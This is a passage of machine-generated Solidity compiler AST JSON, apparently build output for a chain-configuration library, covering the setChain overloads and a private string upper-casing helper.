ref"}},"id":2941,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"5332:7:2","memberName":"chainId","nodeType":"MemberAccess","referencedDeclaration":2730,"src":"5313:26:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"5292:47:2"},{"expression":{"id":2946,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"delete","prefix":true,"src":"5349:28:2","subExpression":{"baseExpression":{"id":2943,"name":"idToAlias","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2748,"src":"5356:9:2","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_string_storage_$","typeString":"mapping(uint256 => string storage ref)"}},"id":2945,"indexExpression":{"id":2944,"name":"oldChainId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2937,"src":"5366:10:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"5356:21:2","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2947,"nodeType":"ExpressionStatement","src":"5349:28:2"},{"expression":{"id":2960,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":2948,"name":"chains","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2740,"src":"5388:6:2","typeDescriptions":{"typeIdentifier":"t_mapping$_t_string_memory_ptr_$_t_struct$_Chain_$2735_storage_$","typeString":"mapping(string memory => struct StdChains.Chain storage ref)"}},"id":2950,"indexExpression":{"id":2949,"name":"chainAlias","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2862,"src":"5395:10:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"5388:18:2","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_storage","typeString":"struct StdChains.Chain storage ref"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"id":2952,"name":"chain","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2865,"src":"5434:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}},"id":2953,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"5440:4:2","memberName":"name","nodeType":"MemberAccess","referencedDeclaration":2721,"src":"5434:10:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"expression":{"id":2954,"name":"chain","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2865,"src":"5455:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}},"id":2955,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"5461:7:2","memberName":"chainId","nodeType":"MemberAccess","referencedDeclaration":2723,"src":"5455:13:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2956,"name":"chainAlias","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2862,"src":"5482:10:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"expression":{"id":2957,"name":"chain","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2865,"src":"5502:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}},"id":2958,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"5508:6:2","memberName":"rpcUrl","nodeType":"MemberAccess","referencedDeclaration":2725,"src":"5502:12:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":2951,"name":"Chain","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2735,"src":"5421:5:2","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_Chain_$2735_storage_ptr_$","typeString":"type(struct StdChains.Chain storage pointer)"}},"id":2959,"isConstant":false,"isLValue":false,"isPure":false,"kind":"structConstructorCall","lValueRequested":false,"nameLocations":["5428:4:2","5446:7:2","5470:10:2","5494:6:2"],"names":["name","chainId","chainAlias","rpcUrl"],"nodeType":"FunctionCall","src":"5421:95:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_memory_ptr","typeString":"struct StdChains.Chain memory"}},"src":"5388:128:2","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_storage","typeString":"struct StdChains.Chain storage ref"}},"id":2961,"nodeType":"ExpressionStatement","src":"5388:128:2"},{"expression":{"id":2967,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":2962,"name":"idToAlias","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2748,"src":"5526:9:2","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_string_storage_$","typeString":"mapping(uint256 => string storage ref)"}},"id":2965,"indexExpression":{"expression":{"id":2963,"name":"chain","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2865,"src":"5536:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}},"id":2964,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"5542:7:2","memberName":"chainId","nodeType":"MemberAccess","referencedDeclaration":2723,"src":"5536:13:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"5526:24:2","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":2966,"name":"chainAlias","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2862,"src":"5553:10:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"src":"5526:37:2","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"id":2968,"nodeType":"ExpressionStatement","src":"5526:37:2"}]},"implemented":true,"kind":"function","modifiers":[],"name":"setChain","nameLocation":"4406:8:2","parameters":{"id":2866,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2862,"mutability":"mutable","name":"chainAlias","nameLocation":"4429:10:2","nodeType":"VariableDeclaration","scope":2970,"src":"4415:24:2","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":2861,"name":"string","nodeType":"ElementaryTypeName","src":"4415:6:2","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":2865,"mutability":"mutable","name":"chain","nameLocation":"4458:5:2","nodeType":"VariableDeclaration","scope":2970,"src":"4441:22:2","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData"},"typeName":{"id":2864,"nodeType":"UserDefinedTypeName","pathNode":{"id":2863,"name":"ChainData","nameLocations":["4441:9:2"],"nodeType":"IdentifierPath","referencedDeclaration":2726,"src":"4441:9:2"},"referencedDeclaration":2726,"src":"4441:9:2","typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_storage_ptr","typeString":"struct StdChains.ChainData"}},"visibility":"internal"}],"src":"4414:50:2"},"returnParameters":{"id":2867,"nodeType":"ParameterList","parameters":[],"src":"4482:0:2"},"scope":3477,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":2991,"nodeType":"FunctionDefinition","src":"5641:195:2","nodes":[],"body":{"id":2990,"nodeType":"Block","src":"5722:114:2","nodes":[],"statements":[{"expression":{"arguments":[{"id":2979,"name":"chainAlias","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2972,"src":"5741:10:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"arguments":[{"expression":{"id":2981,"name":"chain","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2975,"src":"5770:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_memory_ptr","typeString":"struct StdChains.Chain memory"}},"id":2982,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"5776:4:2","memberName":"name","nodeType":"MemberAccess","referencedDeclaration":2728,"src":"5770:10:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"expression":{"id":2983,"name":"chain","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2975,"src":"5791:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_memory_ptr","typeString":"struct StdChains.Chain memory"}},"id":2984,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"5797:7:2","memberName":"chainId","nodeType":"MemberAccess","referencedDeclaration":2730,"src":"5791:13:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"expression":{"id":2985,"name":"chain","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2975,"src":"5814:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_memory_ptr","typeString":"struct StdChains.Chain memory"}},"id":2986,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"5820:6:2","memberName":"rpcUrl","nodeType":"MemberAccess","referencedDeclaration":2734,"src":"5814:12:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":2980,"name":"ChainData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2726,"src":"5753:9:2","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_ChainData_$2726_storage_ptr_$","typeString":"type(struct StdChains.ChainData storage pointer)"}},"id":2987,"isConstant":false,"isLValue":false,"isPure":false,"kind":"structConstructorCall","lValueRequested":false,"nameLocations":["5764:4:2","5782:7:2","5806:6:2"],"names":["name","chainId","rpcUrl"],"nodeType":"FunctionCall","src":"5753:75:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}],"id":2978,"name":"setChain","nodeType":"Identifier","overloadedDeclarations":[2970,2991],"referencedDeclaration":2970,"src":"5732:8:2","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$_t_struct$_ChainData_$2726_memory_ptr_$returns$__$","typeString":"function (string memory,struct StdChains.ChainData memory)"}},"id":2988,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5732:97:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2989,"nodeType":"ExpressionStatement","src":"5732:97:2"}]},"implemented":true,"kind":"function","modifiers":[],"name":"setChain","nameLocation":"5650:8:2","parameters":{"id":2976,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2972,"mutability":"mutable","name":"chainAlias","nameLocation":"5673:10:2","nodeType":"VariableDeclaration","scope":2991,"src":"5659:24:2","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":2971,"name":"string","nodeType":"ElementaryTypeName","src":"5659:6:2","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":2975,"mutability":"mutable","name":"chain","nameLocation":"5698:5:2","nodeType":"VariableDeclaration","scope":2991,"src":"5685:18:2","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_memory_ptr","typeString":"struct StdChains.Chain"},"typeName":{"id":2974,"nodeType":"UserDefinedTypeName","pathNode":{"id":2973,"name":"Chain","nameLocations":["5685:5:2"],"nodeType":"IdentifierPath","referencedDeclaration":2735,"src":"5685:5:2"},"referencedDeclaration":2735,"src":"5685:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_storage_ptr","typeString":"struct StdChains.Chain"}},"visibility":"internal"}],"src":"5658:46:2"},"returnParameters":{"id":2977,"nodeType":"ParameterList","parameters":[],"src":"5722:0:2"},"scope":3477,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":3068,"nodeType":"FunctionDefinition","src":"5842:451:2","nodes":[],"body":{"id":3067,"nodeType":"Block","src":"5916:377:2","nodes":[],"statements":[{"assignments":[2999],"declarations":[{"constant":false,"id":2999,"mutability":"mutable","name":"strb","nameLocation":"5939:4:2","nodeType":"VariableDeclaration","scope":3067,"src":"5926:17:2","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":2998,"name":"bytes","nodeType":"ElementaryTypeName","src":"5926:5:2","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":3004,"initialValue":{"arguments":[{"id":3002,"name":"str","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2993,"src":"5952:3:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":3001,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"5946:5:2","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes_storage_ptr_$","typeString":"type(bytes storage pointer)"},"typeName":{"id":3000,"name":"bytes","nodeType":"ElementaryTypeName","src":"5946:5:2","typeDescriptions":{}}},"id":3003,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5946:10:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"5926:30:2"},{"assignments":[3006],"declarations":[{"constant":false,"id":3006,"mutability":"mutable","name":"copy","nameLocation":"5979:4:2","nodeType":"VariableDeclaration","scope":3067,"src":"5966:17:2","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":3005,"name":"bytes","nodeType":"ElementaryTypeName","src":"5966:5:2","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":3012,"initialValue":{"arguments":[{"expression":{"id":3009,"name":"strb","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2999,"src":"5996:4:2","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":3010,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6001:6:2","memberName":"length","nodeType":"MemberAccess","src":"5996:11:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":3008,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"NewExpression","src":"5986:9:2","typeDescriptions":{"typeIdentifier":"t_function_objectcreation_pure$_t_uint256_$returns$_t_bytes_memory_ptr_$","typeString":"function (uint256) pure returns (bytes memory)"},"typeName":{"id":3007,"name":"bytes","nodeType":"ElementaryTypeName","src":"5990:5:2","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}}},"id":3011,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5986:22:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"5966:42:2"},{"body":{"id":3060,"nodeType":"Block","src":"6060:198:2","statements":[{"assignments":[3025],"declarations":[{"constant":false,"id":3025,"mutability":"mutable","name":"b","nameLocation":"6081:1:2","nodeType":"VariableDeclaration","scope":3060,"src":"6074:8:2","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes1","typeString":"bytes1"},"typeName":{"id":3024,"name":"bytes1","nodeType":"ElementaryTypeName","src":"6074:6:2","typeDescriptions":{"typeIdentifier":"t_bytes1","typeString":"bytes1"}},"visibility":"internal"}],"id":3029,"initialValue":{"baseExpression":{"id":3026,"name":"strb","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2999,"src":"6085:4:2","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":3028,"indexExpression":{"id":3027,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3014,"src":"6090:1:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6085:7:2","typeDescriptions":{"typeIdentifier":"t_bytes1","typeString":"bytes1"}},"nodeType":"VariableDeclarationStatement","src":"6074:18:2"},{"condition":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":3036,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_bytes1","typeString":"bytes1"},"id":3032,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":3030,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3025,"src":"6110:1:2","typeDescriptions":{"typeIdentifier":"t_bytes1","typeString":"bytes1"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"hexValue":"30783631","id":3031,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"6115:4:2","typeDescriptions":{"typeIdentifier":"t_rational_97_by_1","typeString":"int_const 97"},"value":"0x61"},"src":"6110:9:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"commonType":{"typeIdentifier":"t_bytes1","typeString":"bytes1"},"id":3035,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":3033,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3025,"src":"6123:1:2","typeDescriptions":{"typeIdentifier":"t_bytes1","typeString":"bytes1"}},"nodeType":"BinaryOperation","operator":"<=","rightExpression":{"hexValue":"30783741","id":3034,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"6128:4:2","typeDescriptions":{"typeIdentifier":"t_rational_122_by_1","typeString":"int_const 122"},"value":"0x7A"},"src":"6123:9:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"6110:22:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":3058,"nodeType":"Block","src":"6204:44:2","statements":[{"expression":{"id":3056,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":3052,"name":"copy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3006,"src":"6222:4:2","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":3054,"indexExpression":{"id":3053,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3014,"src":"6227:1:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"6222:7:2","typeDescriptions":{"typeIdentifier":"t_bytes1","typeString":"bytes1"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":3055,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3025,"src":"6232:1:2","typeDescriptions":{"typeIdentifier":"t_bytes1","typeString":"bytes1"}},"src":"6222:11:2","typeDescriptions":{"typeIdentifier":"t_bytes1","typeString":"bytes1"}},"id":3057,"nodeType":"ExpressionStatement","src":"6222:11:2"}]},"id":3059,"nodeType":"IfStatement","src":"6106:142:2","trueBody":{"id":3051,"nodeType":"Block","src":"6134:64:2","statements":[{"expression":{"id":3049,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":3037,"name":"copy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3006,"src":"6152:4:2","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":3039,"indexExpression":{"id":3038,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3014,"src":"6157:1:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"6152:7:2","typeDescriptions":{"typeIdentifier":"t_bytes1","typeString":"bytes1"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"commonType":{"typeIdentifier":"t_uint8","typeString":"uint8"},"id":3047,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":3044,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3025,"src":"6175:1:2","typeDescriptions":{"typeIdentifier":"t_bytes1","typeString":"bytes1"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes1","typeString":"bytes1"}],"id":3043,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"6169:5:2","typeDescriptions":{"typeIdentifier":"t_type$_t_uint8_$","typeString":"type(uint8)"},"typeName":{"id":3042,"name":"uint8","nodeType":"ElementaryTypeName","src":"6169:5:2","typeDescriptions":{}}},"id":3045,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6169:8:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"hexValue":"3332","id":3046,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"6180:2:2","typeDescriptions":{"typeIdentifier":"t_rational_32_by_1","typeString":"int_const 32"},"value":"32"},"src":"6169:13:2","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint8","typeString":"uint8"}],"id":3041,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"6162:6:2","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes1_$","typeString":"type(bytes1)"},"typeName":{"id":3040,"name":"bytes1","nodeType":"ElementaryTypeName","src":"6162:6:2","typeDescriptions":{}}},"id":3048,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6162:21:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes1","typeString":"bytes1"}},"src":"6152:31:2","typeDescriptions":{"typeIdentifier":"t_bytes1","typeString":"bytes1"}},"id":3050,"nodeType":"ExpressionStatement","src":"6152:31:2"}]}}]},"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":3020,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":3017,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3014,"src":"6038:1:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"expression":{"id":3018,"name":"strb","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2999,"src":"6042:4:2","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":3019,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6047:6:2","memberName":"length","nodeType":"MemberAccess","src":"6042:11:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"6038:15:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":3061,"initializationExpression":{"assignments":[3014],"declarations":[{"constant":false,"id":3014,"mutability":"mutable","name":"i","nameLocation":"6031:1:2","nodeType":"VariableDeclaration","scope":3061,"src":"6023:9:2","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3013,"name":"uint256","nodeType":"ElementaryTypeName","src":"6023:7:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":3016,"initialValue":{"hexValue":"30","id":3015,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"6035:1:2","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"nodeType":"VariableDeclarationStatement","src":"6023:13:2"},"isSimpleCounterLoop":true,"loopExpression":{"expression":{"id":3022,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"6055:3:2","subExpression":{"id":3021,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3014,"src":"6055:1:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":3023,"nodeType":"ExpressionStatement","src":"6055:3:2"},"nodeType":"ForStatement","src":"6018:240:2"},{"expression":{"arguments":[{"id":3064,"name":"copy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3006,"src":"6281:4:2","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":3063,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"6274:6:2","typeDescriptions":{"typeIdentifier":"t_type$_t_string_storage_ptr_$","typeString":"type(string storage pointer)"},"typeName":{"id":3062,"name":"string","nodeType":"ElementaryTypeName","src":"6274:6:2","typeDescriptions":{}}},"id":3065,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6274:12:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":2997,"id":3066,"nodeType":"Return","src":"6267:19:2"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_toUpper","nameLocation":"5851:8:2","parameters":{"id":2994,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2993,"mutability":"mutable","name":"str","nameLocation":"5874:3:2","nodeType":"VariableDeclaration","scope":3068,"src":"5860:17:2","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":2992,"name":"string","nodeType":"ElementaryTypeName","src":"5860:6:2","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"5859:19:2"},"returnParameters":{"id":2997,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2996,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":3068,"src":"5901:13:2","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":2995,"name":"string","nodeType":"ElementaryTypeName","src":"5901:6:2","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"5900:15:2"},"scope":3477,"stateMutability":"pure","virtual":false,"visibility":"private"},{"id":3211,"nodeType":"FunctionDefinition","src":"6429:1725:2","nodes":[],"body":{"id":3210,"nodeType":"Block","src":"6574:1580:2","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":3086,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"arguments":[{"expression":{"id":3081,"name":"chain","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3073,"src":"6594:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_C